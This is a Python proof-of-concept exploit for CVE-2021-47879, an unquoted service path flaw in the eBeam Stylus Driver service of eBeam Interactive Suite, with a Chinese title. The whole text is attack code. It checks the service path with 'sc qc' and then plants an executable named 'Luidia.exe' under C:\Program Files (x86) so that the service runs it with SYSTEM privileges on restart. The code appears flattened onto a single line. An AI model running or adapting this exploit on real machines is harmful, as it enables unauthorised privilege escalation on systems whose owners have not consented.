CVE-2021-47879 eBeam Interactive Suite 未引用服务路径提权漏洞

# CVE-2021-47879 PoC - Unquoted Service Path Privilege Escalation # Target: eBeam Stylus Driver Service # This PoC demonstrates the unquoted service path vulnerability import os import sys import subprocess import shutil def check_vulnerability(): """Check if target service is vulnerable""" try: # Query service configuration using sc command result = subprocess.run( ['sc', 'qc', 'eBeam Stylus Driver'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: # Extract the path (simplified parsing) lines = result.stdout.split('\n') for line in lines: if 'BINARY_PATH_NAME' in line: print(f'[*] Found service path: {line.strip()}') # Check if path contains spaces and is not quoted if ' ' in line and '"' not in line: print('[+] VULNERABLE: Path contains spaces without quotes') return True else: print('[-] NOT VULNERABLE or path is quoted') return False return False except Exception as e: print(f'[-] Error checking service: {e}') return False def exploit(): """Exploit the unquoted service path vulnerability""" # Malicious executable name (depends on the unquoted path) # For example, if path is C:\Program Files (x86)\Luidia\eBeam Stylus Driver\service.exe # We can place malicious.exe in C:\Program Files (x86)\Luidia\ malicious_exe = 'Luidia.exe' # or 'eBeam.exe' depending on the path target_path = r'C:\Program Files (x86)\Luidia' malicious_path = os.path.join(target_path, malicious_exe) # Create the directory if it doesn't exist if not os.path.exists(target_path): os.makedirs(target_path) # In a real attack, this would be a malicious executable # For demonstration, we create a benign file print(f'[*] Creating malicious executable at: {malicious_path}') # Copy current executable or create a placeholder if hasattr(sys, 'frozen'): malicious_code = sys.executable else: malicious_code = sys.argv[0] try: shutil.copy(malicious_code, malicious_path) print(f'[+] Malicious executable placed successfully') print(f'[*] When the service restarts, it may execute {malicious_exe} with SYSTEM privileges') print('[*] Note: Service restart required for exploitation') except Exception as e: print(f'[-] Failed to place malicious executable: {e}') if __name__ == '__main__': print('=== CVE-2021-47879 Unquoted Service Path PoC ===') print('Target: eBeam Interactive Suite - eBeam Stylus Driver') print() if check_vulnerability(): print('\n[*] Proceeding with exploitation...') exploit() else: print('\n[-] Target is not vulnerable or service not found')